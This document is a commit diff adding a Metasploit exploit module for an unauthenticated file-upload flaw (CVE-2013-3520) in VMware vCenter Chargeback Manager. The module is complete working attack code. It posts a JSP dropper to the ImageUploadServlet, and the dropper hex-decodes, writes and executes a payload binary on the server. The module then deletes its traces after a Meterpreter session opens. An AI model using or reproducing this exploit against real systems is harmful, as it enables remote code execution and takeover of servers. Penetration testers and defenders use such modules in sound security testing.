Add module for ZDI-13-147

Author: jvazquez-r7

modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb

@@ -0,0 +1,205 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	HttpFingerprint = { :pattern => [ /Apache.*Win32/ ] }
+
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Exploit::EXE
+	include Msf::Exploit::FileDropper
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'        => 'VMware vCenter Chargeback Manager ImageUploadServlet Arbitrary File Upload',
+			'Description' => %q{
+				This module exploits a code execution flaw in VMware vCenter Chargeback Manager,
+				where the ImageUploadServlet servlet allows unauthenticated file upload. The files
+				are uploaded to the /cbmui/images/ web path, where JSP code execution is allowed.
+				The module has been tested successfully on VMware vCenter Chargeback Manager 2.0.1
+				on Windows 2003 SP2.
+			},
+			'Author'       =>
+				[
+					'Andrea Micalizzi', # Vulnerability discovery
+					'juan vazquez' # Metasploit module
+				],
+			'License'     => MSF_LICENSE,
+			'References'  =>
+				[
+					[ 'CVE', '2013-3520' ],
+					[ 'OSVDB', '94188' ],
+					[ 'BID', '60484' ],
+					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-147/' ]
+				],
+			'Privileged'  => true,
+			'Platform'    => 'win',
+			'Arch' => ARCH_X86,
+			'Targets'     =>
+				[
+					[ 'VMware vCenter Chargeback Manager 2.0.1 / Windows 2003 SP2', { } ]
+				],
+			'DefaultOptions' =>
+				{
+					'SSL' => true
+				},
+			'DefaultTarget'  => 0,
+			'DisclosureDate' => 'May 15 2013'))
+
+		register_options(
+			[
+				Opt::RPORT(443)
+			], self.class)
+	end
+
+	#
+	# Try to find and delete the jsp if we get a meterpreter.
+	#
+	def on_new_session(cli)
+
+		if not @dropper or @dropper.empty?
+			return
+		end
+
+		if cli.type != 'meterpreter'
+			print_error("#{@peer} - Meterpreter not used. Please manually remove #{@dropper}")
+			return
+		end
+
+		cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
+
+		begin
+			print_status("#{@peer} - Searching: #{@dropper}")
+			files = cli.fs.file.search("\\", @dropper)
+			if not files or files.empty?
+				print_error("#{@peer} - Unable to find #{@dropper}. Please manually remove it.")
+				return
+			end
+
+			files.each { |f|
+				print_warning("Deleting: #{f['path'] + "\\" + f['name']}")
+				cli.fs.file.rm(f['path'] + "\\" + f['name'])
+			}
+			print_good("#{@peer} - #{@dropper} deleted")
+			return
+		rescue ::Exception => e
+			print_error("#{@peer} - Unable to delete #{@dropper}: #{e.message}")
+		end
+	end
+
+	def upload_file(filename, contents)
+		post_data = Rex::MIME::Message.new
+		post_data.add_part(contents, "image/png", nil, "form-data; name=\"#{rand_text_alpha(4+rand(4))}\"; filename=\"#{filename}\"")
+
+		# Work around an incompatible MIME implementation
+		data = post_data.to_s
+		data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
+
+		res = send_request_cgi(
+		{
+			'uri'     => normalize_uri("cbmui",  "ImageUploadServlet"),
+			'method'  => 'POST',
+			'data'    => data,
+			'ctype'   => "multipart/form-data; boundary=#{post_data.bound}",
+			'cookie'  => "JSESSIONID=#{@session}"
+		})
+
+		if res and res.code == 200
+			return true
+		else
+			return false
+		end
+	end
+
+	def check
+		res = send_request_cgi({
+			'uri' => normalize_uri("cbmui", "en_US", "themes", "excel", "index.htm"),
+		})
+
+		if res and res.code == 200 and res.body =~ /vCenter Chargeback Manager/
+			return Exploit::CheckCode::Detected
+		end
+
+		return Exploit::CheckCode::Safe
+	end
+
+	def exploit
+		@peer = "#{rhost}:#{rport}"
+
+		print_status("#{@peer} - Uploading JSP to execute the payload")
+
+		exe = payload.encoded_exe
+		exe_filename = rand_text_alpha(8) + ".exe"
+
+		# The JSP dropper is needed because there isn't directory traversal, just
+		# arbitrary file upload to a web path where JSP code execution is allowed.
+		dropper = jsp_drop_and_execute(exe, exe_filename)
+		dropper_filename = rand_text_alpha(8) + ".jsp"
+
+		if upload_file(dropper_filename, dropper)
+			register_files_for_cleanup(exe_filename)
+			@dropper = dropper_filename
+		else
+			fail_with(Exploit::Failure::Unknown, "#{@peer} - JSP upload failed")
+		end
+
+		print_status("#{@peer} - Executing payload")
+		send_request_cgi(
+		{
+			'uri'    => normalize_uri("cbmui", "images", dropper_filename),
+			'method' => 'GET'
+		})
+	end
+
+	# This should probably go in a mixin
+	def jsp_drop_bin(bin_data, output_file)
+		jspraw =  %Q|<%@ page import="java.io.*" %>\n|
+		jspraw << %Q|<%\n|
+		jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
+
+		jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
+
+		jspraw << %Q|int numbytes = data.length();\n|
+
+		jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
+		jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
+		jspraw << %Q|{\n|
+		jspraw << %Q|  char char1 = (char) data.charAt(counter);\n|
+		jspraw << %Q|  char char2 = (char) data.charAt(counter + 1);\n|
+		jspraw << %Q|  int comb = Character.digit(char1, 16) & 0xff;\n|
+		jspraw << %Q|  comb <<= 4;\n|
+		jspraw << %Q|  comb += Character.digit(char2, 16) & 0xff;\n|
+		jspraw << %Q|  bytes[counter/2] = (byte)comb;\n|
+		jspraw << %Q|}\n|
+
+		jspraw << %Q|outputstream.write(bytes);\n|
+		jspraw << %Q|outputstream.close();\n|
+		jspraw << %Q|%>\n|
+
+		jspraw
+	end
+
+	def jsp_execute_command(command)
+		jspraw =  %Q|<%@ page import="java.io.*" %>\n|
+		jspraw << %Q|<%\n|
+		jspraw << %Q|try {\n|
+		jspraw << %Q|  Runtime.getRuntime().exec("chmod +x #{command}");\n|
+		jspraw << %Q|} catch (IOException ioe) { }\n|
+		jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
+		jspraw << %Q|%>\n|
+
+		jspraw
+	end
+
+	def jsp_drop_and_execute(bin_data, output_file)
+		jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
+	end
+
+end